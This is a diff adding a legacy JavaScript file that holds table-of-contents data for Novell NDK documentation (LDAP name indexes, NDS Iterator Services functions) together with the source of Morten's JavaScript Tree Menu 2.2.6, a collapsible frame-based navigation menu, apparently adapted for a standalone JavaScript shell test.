+top.authors[i] = "zHTML xD.5375.0500.0010.0007.";
+top.titles[i] = "H";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0008.";
+top.titles[i] = "I through K";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0009.";
+top.titles[i] = "L";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0010.";
+top.titles[i] = "M";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0011.";
+top.titles[i] = "N";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0012.";
+top.titles[i] = "O";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0013.";
+top.titles[i] = "P";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0014.";
+top.titles[i] = "Q";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0015.";
+top.titles[i] = "R";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0016.";
+top.titles[i] = "S";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0017.";
+top.titles[i] = "T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0018.";
+top.titles[i] = "U";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0010.0019.";
+top.titles[i] = "V through Z";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0011.";
+top.titles[i] = "Index of ASN.1 IDs";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0001.";
+top.titles[i] = "0";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0002.";
+top.titles[i] = "1";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0003.";
+top.titles[i] = "2 through 2.4";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0004.";
+top.titles[i] = "2.5 through 2.9";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0012.";
+top.titles[i] = "Index of LDAP Names";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0001.";
+top.titles[i] = "A through B";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0002.";
+top.titles[i] = "C";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0003.";
+top.titles[i] = "D";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0004.";
+top.titles[i] = "E through F";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0005.";
+top.titles[i] = "G";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0006.";
+top.titles[i] = "H";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0007.";
+top.titles[i] = "I through K";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0008.";
+top.titles[i] = "L";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0009.";
+top.titles[i] = "M";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0010.";
+top.titles[i] = "N";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0011.";
+top.titles[i] = "O";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0012.";
+top.titles[i] = "P";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0013.";
+top.titles[i] = "Q through R";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0014.";
+top.titles[i] = "S";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0015.";
+top.titles[i] = "T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0016.";
+top.titles[i] = "U through Z";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0500.0013.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0400.";
+top.titles[i] = "NDS Iterator Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0001.";
+top.titles[i] = "Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0001.";
+top.titles[i] = "Iterator Objects";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0002.";
+top.titles[i] = "Creation of an Iterator Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0003.";
+top.titles[i] = "Iterator Indexes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0004.";
+top.titles[i] = "Positions of an Iterator Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0005.";
+top.titles[i] = "Current Position Movement with Retrieval Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0006.";
+top.titles[i] = "Retrieval of Data";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0001.";
+top.titles[i] = "Creating a Search Iterator Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0002.";
+top.titles[i] = "Retrieving and Unpacking Object and Attribute Name Data";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0003.";
+top.titles[i] = "Retrieving and Unpacking Object, Attribute, and Value Data";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0001.";
+top.titles[i] = "NWDSItrAtEOF";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0002.";
+top.titles[i] = "NWDSItrAtFirst";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0003.";
+top.titles[i] = "NWDSItrClone";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0004.";
+top.titles[i] = "NWDSItrCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0005.";
+top.titles[i] = "NWDSItrCreateList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0006.";
+top.titles[i] = "NWDSItrCreateSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0007.";
+top.titles[i] = "NWDSItrDestroy";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0008.";
+top.titles[i] = "NWDSItrGetCurrent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0009.";
+top.titles[i] = "NWDSItrGetInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0010.";
+top.titles[i] = "NWDSItrGetNext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0011.";
+top.titles[i] = "NWDSItrGetPosition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0012.";
+top.titles[i] = "NWDSItrGetPrev";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0013.";
+top.titles[i] = "NWDSItrSetPosition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0014.";
+top.titles[i] = "NWDSItrSetPositionFromIterator";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0015.";
+top.titles[i] = "NWDSItrSkip";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0016.";
+top.titles[i] = "NWDSItrTypeDown";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0004.";
+top.titles[i] = "NDS Iterator Example Code";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0001.";
+top.titles[i] = "Cloning an Iterator Object: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0002.";
+top.titles[i] = "Counting with NDS Iterators: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0003.";
+top.titles[i] = "Creating and Using a List Iterator: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0004.";
+top.titles[i] = "Creating a Search Iterator and Displaying the Results: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0005.";
+top.titles[i] = "Getting Iterator Information: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0006.";
+top.titles[i] = "Getting and Setting the Iterator's Position: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0007.";
+top.titles[i] = "Listing in Reverse Order: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0008.";
+top.titles[i] = "Positioning the Iterator with Typedown: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0009.";
+top.titles[i] = "Skipping Objects in the List: Example";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0400.0005.";
+top.titles[i] = "Revision History";
+i++;
+
+
+// Morten's JavaScript Tree Menu
+// written by Morten Wang <morten@treemenu.com> (c) 1998-2000
+// This is version 2.2.6, dated 2000-03-30
+
+// The script is freely distributable
+// It may be used (and modified) as you wish, but retain this message
+// For more information about the menu visit its home page
+// http://www.treemenu.com/
+
+/******************************************************************************
+ * Define the MenuItem object. *
+ ******************************************************************************/
+
+function MTMenuItem(text, url, target,nsearchID, icon) {
+ this.text = text;
+ this.url = url ? url : "";
+ this.target = target ? target : "";
+ this.icon = icon ? icon : "";
+ this.nsearchID = nsearchID;
+
+ this.number = MTMSubNumber++;
+ this.parent = null;
+ this.submenu = null;
+ this.expanded = false;
+ this.selected = false;
+ this.childSelected = false;
+
+ this.MTMakeSubmenu = MTMakeSubmenu;
+
+}
+
+function MTMakeSubmenu(menu) {
+ this.submenu = menu;
+ for (var i = 0; i < menu.items.length; i++)
+ {
+ menu.items[i].parent = this;
+ }
+}
+
+
+
+function getChildrenChecked(item, selected)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ item.submenu.items[x].selected = selected;
+ item.submenu.items[x].childSelected = false;
+ MarkChildren(item.submenu.items[x],selected);
+ }
+ }
+}
+
+/******************************************************************************
+ * Define the Menu object. *
+ ******************************************************************************/
+
+function MTMenu() {
+ this.items = new Array();
+ this.MTMAddItem = MTMAddItem;
+}
+
+function MTMAddItem(item) {
+ this.items[this.items.length] = item;
+}
+
+/******************************************************************************
+ * Define the icon list, addIcon function and MTMIcon item. *
+ ******************************************************************************/
+
+function IconList() {
+ this.items = new Array();
+ this.addIcon = addIcon;
+}
+
+function addIcon(item) {
+ this.items[this.items.length] = item;
+}
+
+function MTMIcon(iconfile, match, type) {
+ this.file = iconfile;
+ this.match = match;
+ this.type = type;
+}
+
+/******************************************************************************
+ * Global variables. Not to be altered unless you know what you're doing. *
+ * User-configurable options are at the end of this document. *
+ ******************************************************************************/
+
+var MTMLoaded = false;
+var MTMLevel;
+var MTMBar = new Array();
+var MTMIndices = new Array();
+var MTMBrowser = null;
+var MTMNN3 = false;
+var MTMNN4 = false;
+var MTMIE4 = false;
+var MTMUseStyle = true;
+
+/*
+ * (For a standalone JS shell test, we will simply set these as follows:)
+ */
+MTMBrowser = true;
+MTMNN4 = true;
+
+
+var MTMClickedItem = false;
+var MTMExpansion = false;
+
+var MTMSubNumber = 1;
+var MTMTrackedItem = false;
+var MTMTrack = false;
+
+var MTMPreHREF = "";
+if(MTMIE4 || MTMNN3) {
+ MTMPreHREF += ""; // document.location.href.substring(0, document.location.href.lastIndexOf("/") +1);
+}
+
+var MTMFirstRun = true;
+var MTMCurrentTime = 0; // for checking timeout.
+var MTMUpdating = false;
+var MTMWinSize, MTMyval;
+var MTMOutputString = "";
+
+/******************************************************************************
+ * Code that picks up frame names of frames in the parent frameset. *
+ ******************************************************************************/
+
+
+/******************************************************************************
+ * Dummy function for sub-menus without URLs *
+ * Thanks to Michel Plungjan for the advice. :) *
+ ******************************************************************************/
+
+function myVoid() { ; }
+
+/******************************************************************************
+ * Functions to draw the menu. *
+ ******************************************************************************/
+
+function MTMSubAction(SubItem, ReturnValue) {
+
+ SubItem.expanded = (SubItem.expanded) ? false : true;
+ if(SubItem.expanded) {
+ MTMExpansion = true;
+ }
+
+ MTMClickedItem = SubItem.number;
+
+ if(MTMTrackedItem && MTMTrackedItem != SubItem.number) {
+ MTMTrackedItem = false;
+ }
+
+ if(!ReturnValue) {
+ setTimeout("MTMDisplayMenu()", 10);
+ }
+
+ return ReturnValue;
+}
+
+
+function MarkChildren(item, selected)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ item.submenu.items[x].selected = selected;
+ item.submenu.items[x].childSelected = false;
+ MarkChildren(item.submenu.items[x],selected);
+ }
+ }
+
+}
+
+function isAllChildrenSelected(item)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (!item.submenu.items[x].selected)
+ {
+ return false;
+ }
+ }
+ }
+ return true;
+}
+
+function isSomeChildrenSelected(item)
+{
+ var retValue = false;
+
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (item.submenu.items[x].selected || item.submenu.items[x].childSelected)
+ {
+ retValue = true;
+ }
+ }
+ }
+
+ return retValue;
+}
+
+function ToggleSelected(item, ReturnValue) {
+
+ item.selected = (item.selected) ? false : true;
+ item.childSelected = false;
+
+ var currentNode = item;
+
+ while (currentNode.parent)
+ {
+ currentNode.parent.selected = isAllChildrenSelected(currentNode.parent);
+ currentNode.parent.childSelected = isSomeChildrenSelected(currentNode.parent);
+ currentNode = currentNode.parent;
+ }
+
+ MarkChildren(item,item.selected);
+
+ if(!ReturnValue) {
+ setTimeout("MTMDisplayMenu()", 10);
+ }
+
+ return ReturnValue;
+}
+
+
+function MTMStartMenu() {
+ MTMLoaded = true;
+ if(MTMFirstRun) {
+ MTMCurrentTime++;
+ if(MTMCurrentTime == MTMTimeOut) { // call MTMDisplayMenu
+ setTimeout("MTMDisplayMenu()",10);
+ } else {
+ setTimeout("MTMStartMenu()",100);
+ }
+ }
+}
+
+function MTMDisplayMenu() {
+ if(MTMBrowser && !MTMUpdating) {
+ MTMUpdating = true;
+ MTMFirstRun = false;
+
+ if(MTMTrack) { MTMTrackedItem = MTMTrackExpand(menu); }
+
+ if(MTMExpansion && MTMSubsAutoClose) { MTMCloseSubs(menu); }
+
+ MTMLevel = 0;
+ MTMDoc = parent.frames[MTMenuFrame].document
+ MTMDoc.open("text/html", "replace");
+ MTMOutputString = '<html><head>';
+ if(MTMLinkedSS) {
+ MTMOutputString += '<link rel="stylesheet" type="text/css" href="' + MTMPreHREF + MTMSSHREF + '">';
+ } else if(MTMUseStyle) {
+ MTMOutputString += '<style type="text/css">body {color:' + MTMTextColor + ';background:';
+ MTMOutputString += (MTMBackground == "") ? MTMBGColor : MTMakeBackImage(MTMBackground);
+ MTMOutputString += ';} #root {color:' + MTMRootColor + ';background:' + ((MTMBackground == "") ? MTMBGColor : 'transparent') + ';font-family:' + MTMRootFont + ';font-size:' + MTMRootCSSize + ';} ';
+ MTMOutputString += 'a {font-family:' + MTMenuFont + ';letter-spacing:-0.05em;font-weight:bold;font-size:' + MTMenuCSSize + ';text-decoration:none;color:' + MTMLinkColor + ';background:' + MTMakeBackground() + ';} ';
+ MTMOutputString += MTMakeA('pseudo', 'hover', MTMAhoverColor);
+ MTMOutputString += MTMakeA('class', 'tracked', MTMTrackColor);
+ MTMOutputString += MTMakeA('class', 'subexpanded', MTMSubExpandColor);
+ MTMOutputString += MTMakeA('class', 'subclosed', MTMSubClosedColor) + '</style>';
+ }
+
+ MTMOutputString += '</head><body ';
+ if(MTMBackground != "") {
+ MTMOutputString += 'background="' + MTMPreHREF + MTMenuImageDirectory + MTMBackground + '" ';
+ }
+ MTMOutputString += 'bgcolor="' + MTMBGColor + '" text="' + MTMTextColor + '" link="' + MTMLinkColor + '" vlink="' + MTMLinkColor + '" alink="' + MTMLinkColor + '">';
+
+ MTMOutputString += '<table border="0" cellpadding="0" cellspacing="0" width="' + MTMTableWidth + '">';
+ MTMOutputString += '<tr valign="top"><td nowrap>'; //REMOVED ROOT ICON <img src="' + MTMPreHREF + MTMenuImageDirectory + MTMRootIcon + '" align="left" border="0" vspace="0" hspace="0">';
+ if(MTMUseStyle) {
+ MTMOutputString += ''; //REMOVED ROOT CAPTION <span id="root">&nbsp;' + MTMenuText + '</span>';
+ } else {
+ MTMOutputString += ''; //REMOVED ROOT CAPTION <font size="' + MTMRootFontSize + '" face="' + MTMRootFont + '" color="' + MTMRootColor + '">' + MTMenuText + '</font>';
+ }
+ MTMDoc.writeln(MTMOutputString + '</td></tr>');
+
+ MTMListItems(menu);
+ MTMDoc.writeln('</table>');
+
+ MTMDoc.writeln('</body></html>');
+ MTMDoc.close();
+
+ if((MTMClickedItem || MTMTrackedItem) && (MTMNN4 || MTMIE4) && !MTMFirstRun) {
+ MTMItemName = "sub" + (MTMClickedItem ? MTMClickedItem : MTMTrackedItem);
+ if(document.layers && parent.frames[MTMenuFrame].scrollbars) {
+ MTMyval = parent.frames[MTMenuFrame].document.anchors[MTMItemName].y;
+ MTMWinSize = parent.frames[MTMenuFrame].innerHeight;
+ } else {
+ MTMyval = MTMGetPos(parent.frames[MTMenuFrame].document.all[MTMItemName]);
+ MTMWinSize = parent.frames[MTMenuFrame].document.body.offsetHeight;
+ }
+ if(MTMyval > (MTMWinSize - 60)) {
+ parent.frames[MTMenuFrame].scrollBy(0, parseInt(MTMyval - (MTMWinSize * 1/3)));
+ }
+ }
+
+ MTMClickedItem = false;
+ MTMExpansion = false;
+ MTMTrack = false;
+ }
+ MTMUpdating = false;
+}
+
+function MTMListItems(menu) {
+ var i, isLast;
+ for (i = 0; i < menu.items.length; i++) {
+ MTMIndices[MTMLevel] = i;
+ isLast = (i == menu.items.length -1);
+ MTMDisplayItem(menu.items[i], isLast);
+
+ if (menu.items[i].submenu && menu.items[i].expanded) {
+ MTMBar[MTMLevel] = (isLast) ? false : true;
+ MTMLevel++;
+ MTMListItems(menu.items[i].submenu);
+ MTMLevel--;
+ } else {
+ MTMBar[MTMLevel] = false;
+ }
+ }
+
+}
+
+function MTMDisplayItem(item, last) {
+ var i, img, more;
+
+ var MTMfrm = "parent.frames['code']";
+ var MTMref = '.menu.items[' + MTMIndices[0] + ']';
+
+ if(item.submenu) {
+ var MTMouseOverText;
+
+ var MTMClickCmd;
+ var MTMDblClickCmd = false;
+
+
+ if(MTMLevel > 0) {
+ for(i = 1; i <= MTMLevel; i++) {
+ MTMref += ".submenu.items[" + MTMIndices[i] + "]";
+ }
+ }
+
+ if(!MTMEmulateWE && !item.expanded && (item.url != "")) {
+ MTMClickCmd = "return " + MTMfrm + ".MTMSubAction(" + MTMfrm + MTMref + ",true);";
+ } else {
+ MTMClickCmd = "return " + MTMfrm + ".MTMSubAction(" + MTMfrm + MTMref + ",false);";
+ }
+
+ if(item.url == "") {
+ MTMouseOverText = (item.text.indexOf("'") != -1) ? MTMEscapeQuotes(item.text) : item.text;
+ } else {
+ MTMouseOverText = "Expand/Collapse";
+ }
+ }
+
+ MTMOutputString = '<tr valign="top"><td nowrap>';
+ if(MTMLevel > 0) {
+ for (i = 0; i < MTMLevel; i++) {
+ MTMOutputString += (MTMBar[i]) ? MTMakeImage("menu_bar.gif") : MTMakeImage("menu_pixel.gif");
+ }
+ }
+
+ more = false;
+ if(item.submenu) {
+ if(MTMSubsGetPlus || MTMEmulateWE) {
+ more = true;
+ } else {
+ for (i = 0; i < item.submenu.items.length; i++) {
+ if (item.submenu.items[i].submenu) {
+ more = true;
+ }
+ }
+ }
+ }
+ if(!more) {
+ img = (last) ? "menu_corner.gif" : "menu_tee.gif";
+ } else {
+ if(item.expanded) {
+ img = (last) ? "menu_corner_minus.gif" : "menu_tee_minus.gif";
+ } else {
+ img = (last) ? "menu_corner_plus.gif" : "menu_tee_plus.gif";
+ }
+ if(item.url == "" || item.expanded || MTMEmulateWE) {
+ MTMOutputString += MTMakeVoid(item, MTMClickCmd, MTMouseOverText);
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + ' onclick="' + MTMClickCmd + '">';
+ }
+ }
+ MTMOutputString += MTMakeImage(img);
+/////////////////////////////////////////
+
+ var MTMCheckRef = '.menu.items[' + MTMIndices[0] + ']';
+ if(MTMLevel > 0) {
+ for(i = 1; i <= MTMLevel; i++) {
+ MTMCheckRef += ".submenu.items[" + MTMIndices[i] + "]";
+ }
+ }
+
+ MTMOutputString += MTMakeVoid(item, "return " + MTMfrm + ".ToggleSelected(" + MTMfrm + MTMCheckRef + ",false);", "Checked Status") ;
+ var checkedImage = item.selected ? "checked.gif" : "uchecked.gif";
+ if (!item.selected)
+ {
+ checkedImage = item.childSelected ? "gchecked.gif" : "uchecked.gif";
+ }
+ MTMOutputString += MTMakeImage(checkedImage);
+ MTMOutputString += '</a>';
+/////////////////////////////////////////////////
+
+
+ if(item.submenu) {
+ if(MTMEmulateWE && item.url != "")
+ {
+ MTMOutputString += '</a>' + MTMakeLink(item, false) + '>';
+ }
+
+ img = (item.expanded) ? "menu_folder_open.gif" : "menu_folder_closed.gif";
+
+ if(!more) {
+ if(item.url == "" || item.expanded) {
+ MTMOutputString += MTMakeVoid(item, MTMClickCmd, MTMouseOverText);
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + ' onclick="' + MTMClickCmd + '">';
+ }
+ }
+ MTMOutputString += MTMakeImage(img);
+
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + '>';
+ img = (item.icon != "") ? item.icon : MTMFetchIcon(item.url);
+ MTMOutputString += MTMakeImage(img);
+ }
+
+ if(item.submenu && (item.url != "") && (item.expanded && !MTMEmulateWE)) {
+ MTMOutputString += '</a>' + MTMakeLink(item, false) + '>';
+ }
+
+ if(MTMNN3 && !MTMLinkedSS) {
+ var stringColor;
+ if(item.submenu && (item.url == "") && (item.number == MTMClickedItem)) {
+ stringColor = (item.expanded) ? MTMSubExpandColor : MTMSubClosedColor;
+ } else if(MTMTrackedItem && MTMTrackedItem == item.number) {
+ stringColor = MTMTrackColor;
+ } else {
+ stringColor = MTMLinkColor;
+ }
+ MTMOutputString += '<font color="' + stringColor + '" size="' + MTMenuFontSize + '" face="' + MTMenuFont + '">';
+ }
+ MTMOutputString += '&nbsp;' + item.text + ((MTMNN3 && !MTMLinkedSS) ? '</font>' : '') + '</a>' ;
+ MTMDoc.writeln(MTMOutputString + '</td></tr>');
+}
+
+function MTMEscapeQuotes(myString) {
+ var newString = "";
+ var cur_pos = myString.indexOf("'");
+ var prev_pos = 0;
+ while (cur_pos != -1) {
+ if(cur_pos == 0) {
+ newString += "\\";
+ } else if(myString.charAt(cur_pos-1) != "\\") {
+ newString += myString.substring(prev_pos, cur_pos) + "\\";
+ } else if(myString.charAt(cur_pos-1) == "\\") {
+ newString += myString.substring(prev_pos, cur_pos);
+ }
+ prev_pos = cur_pos++;
+ cur_pos = myString.indexOf("'", cur_pos);
+ }
+ return(newString + myString.substring(prev_pos, myString.length));
+}
+
+function MTMTrackExpand(thisMenu) {
+ var i, targetPath;
+ var foundNumber = false;
+ for(i = 0; i < thisMenu.items.length; i++) {
+ if(thisMenu.items[i].url != "" && MTMTrackTarget(thisMenu.items[i].target)) {
+ targetPath = parent.frames[thisMenu.items[i].target].location.protocol + '//' + parent.frames[thisMenu.items[i].target].location.host + parent.frames[thisMenu.items[i].target].location.pathname;
+
+ if(targetPath.lastIndexOf(thisMenu.items[i].url) != -1 && (targetPath.lastIndexOf(thisMenu.items[i].url) + thisMenu.items[i].url.length) == targetPath.length) {
+ return(thisMenu.items[i].number);
+ }
+ }
+ if(thisMenu.items[i].submenu) {
+ foundNumber = MTMTrackExpand(thisMenu.items[i].submenu);
+ if(foundNumber) {
+ if(!thisMenu.items[i].expanded) {
+ thisMenu.items[i].expanded = true;
+ if(!MTMClickedItem) { MTMClickedItem = thisMenu.items[i].number; }
+ MTMExpansion = true;
+ }
+ return(foundNumber);
+ }
+ }
+ }
+ return(foundNumber);
+}
+
+function MTMCloseSubs(thisMenu) {
+ var i, j;
+ var foundMatch = false;
+ for(i = 0; i < thisMenu.items.length; i++) {
+ if(thisMenu.items[i].submenu && thisMenu.items[i].expanded) {
+ if(thisMenu.items[i].number == MTMClickedItem) {
+ foundMatch = true;
+ for(j = 0; j < thisMenu.items[i].submenu.items.length; j++) {
+ if(thisMenu.items[i].submenu.items[j].expanded) {
+ thisMenu.items[i].submenu.items[j].expanded = false;
+ }
+ }
+ } else {
+ if(foundMatch) {
+ thisMenu.items[i].expanded = false;
+ } else {
+ foundMatch = MTMCloseSubs(thisMenu.items[i].submenu);
+ if(!foundMatch) {
+ thisMenu.items[i].expanded = false;
+ }
+ }
+ }
+ }
+ }
+ return(foundMatch);
+}
+
+function MTMFetchIcon(testString) {
+ var i;
+ for(i = 0; i < MTMIconList.items.length; i++) {
+ if((MTMIconList.items[i].type == 'any') && (testString.indexOf(MTMIconList.items[i].match) != -1)) {
+ return(MTMIconList.items[i].file);
+ } else if((MTMIconList.items[i].type == 'pre') && (testString.indexOf(MTMIconList.items[i].match) == 0)) {
+ return(MTMIconList.items[i].file);
+ } else if((MTMIconList.items[i].type == 'post') && (testString.indexOf(MTMIconList.items[i].match) != -1)) {
+ if((testString.lastIndexOf(MTMIconList.items[i].match) + MTMIconList.items[i].match.length) == testString.length) {
+ return(MTMIconList.items[i].file);
+ }
+ }
+ }
+ return("menu_link_default.gif");
+}
+
+function MTMGetPos(myObj) {
+ return(myObj.offsetTop + ((myObj.offsetParent) ? MTMGetPos(myObj.offsetParent) : 0));
+}
+
+function MTMCheckURL(myURL) {
+ var tempString = "";
+ if((myURL.indexOf("http://") == 0) || (myURL.indexOf("https://") == 0) || (myURL.indexOf("mailto:") == 0) || (myURL.indexOf("ftp://") == 0) || (myURL.indexOf("telnet:") == 0) || (myURL.indexOf("news:") == 0) || (myURL.indexOf("gopher:") == 0) || (myURL.indexOf("nntp:") == 0) || (myURL.indexOf("javascript:") == 0)) {
+ tempString += myURL;
+ } else {
+ tempString += MTMPreHREF + myURL;
+ }
+ return(tempString);
+}
+
+function MTMakeVoid(thisItem, thisCmd, thisText) {
+ var tempString = "";
+ tempString += '<a name="sub' + thisItem.number + '" href="javascript:parent.frames[\'code\'].myVoid();" onclick="' + thisCmd + '" onmouseover="window.status=\'' + thisText + '\';return true;" onmouseout="window.status=\'' + window.defaultStatus.replace(/'/g,"") + '\';return true;"';
+ if(thisItem.number == MTMClickedItem) {
+ var tempClass;
+ tempClass = thisItem.expanded ? "subexpanded" : "subclosed";
+ tempString += ' class="' + tempClass + '"';
+ }
+ return(tempString + '>');
+}
+
+function MTMakeLink(thisItem, addName) {
+ var tempString = '<a';
+
+ if(MTMTrackedItem && MTMTrackedItem == thisItem.number) {
+ tempString += ' class="tracked"'
+ }
+ if(addName) {
+ tempString += ' name="sub' + thisItem.number + '"';
+ }
+ tempString += ' href="' + MTMCheckURL(thisItem.url) + '"';
+ if(thisItem.target != "") {
+ tempString += ' target="' + thisItem.target + '"';
+ }
+return tempString;
+}
+
+function MTMakeImage(thisImage) {
+ return('<img src="' + MTMPreHREF + MTMenuImageDirectory + thisImage + '" align="left" border="0" vspace="0" hspace="0" width="18" height="18">');
+}
+
+function MTMakeBackImage(thisImage) {
+ var tempString = 'transparent url("' + ((MTMPreHREF == "") ? "" : MTMPreHREF);
+ tempString += MTMenuImageDirectory + thisImage + '")'
+ return(tempString);
+}
+
+function MTMakeA(thisType, thisText, thisColor) {
+ var tempString = "";
+ tempString += 'a' + ((thisType == "pseudo") ? ':' : '.');
+ return(tempString + thisText + '{color:' + thisColor + ';background:' + MTMakeBackground() + ';}');
+}
+
+function MTMakeBackground() {
+ return((MTMBackground == "") ? MTMBGColor : 'transparent');
+}
+
+function MTMTrackTarget(thisTarget) {
+ if(thisTarget.charAt(0) == "_") {
+ return false;
+ } else {
+ for(i = 0; i < MTMFrameNames.length; i++) {
+ if(thisTarget == MTMFrameNames[i]) {
+ return true;
+ }
+ }
+ }
+ return false;
+}
+
+
+
+
+/******************************************************************************
+ * User-configurable options. *
+ ******************************************************************************/
+
+// Menu table width, either a pixel-value (number) or a percentage value.
+var MTMTableWidth = "100%";
+
+// Name of the frame where the menu is to appear.
+var MTMenuFrame = "tocmain";
+
+// variable for determining whether a sub-menu always gets a plus-sign
+// regardless of whether it holds another sub-menu or not
+var MTMSubsGetPlus = true;
+
+
+// variable that defines whether the menu emulates the behaviour of
+// Windows Explorer
+var MTMEmulateWE = true;
+
+// Directory of menu images/icons
+var MTMenuImageDirectory = "/ndk/doc/docui2k/menu-images/";
+
+// Variables for controlling colors in the menu document.
+// Regular BODY atttributes as in HTML documents.
+var MTMBGColor = "#cc0000";
+var MTMBackground = "";
+var MTMTextColor = "white";
+
+// color for all menu items
+var MTMLinkColor = "#ffffcc";
+
+// Hover color, when the mouse is over a menu link
+var MTMAhoverColor = "#FF9933";
+
+// Foreground color for the tracking & clicked submenu item
+var MTMTrackColor ="#FF9933";
+var MTMSubExpandColor = "#ffffcc";
+var MTMSubClosedColor = "#ffffcc";
+
+// All options regarding the root text and it's icon
+var MTMRootIcon = "menu_new_root.gif";
+var MTMenuText = "Site contents:";
+var MTMRootColor = "white";
+var MTMRootFont = "Verdana";
+var MTMRootCSSize = "84%";
+var MTMRootFontSize = "-1";
+
+// Font for menu items.
+var MTMenuFont = "Verdana";
+var MTMenuCSSize = "74%";
+var MTMenuFontSize = "-1";
+
+// Variables for style sheet usage
+// 'true' means use a linked style sheet.
+var MTMLinkedSS = false;
+var MTMSSHREF = "style/menu.css";
+
+// Whether you want an open sub-menu to close automagically
+// when another sub-menu is opened. 'true' means auto-close
+var MTMSubsAutoClose = false;
+
+// This variable controls how long it will take for the menu
+// to appear if the tracking code in the content frame has
+// failed to display the menu. Number if in tenths of a second
+// (1/10) so 10 means "wait 1 second".
+var MTMTimeOut = 25;
+
+/******************************************************************************
+ * User-configurable list of icons. *
+ ******************************************************************************/
+
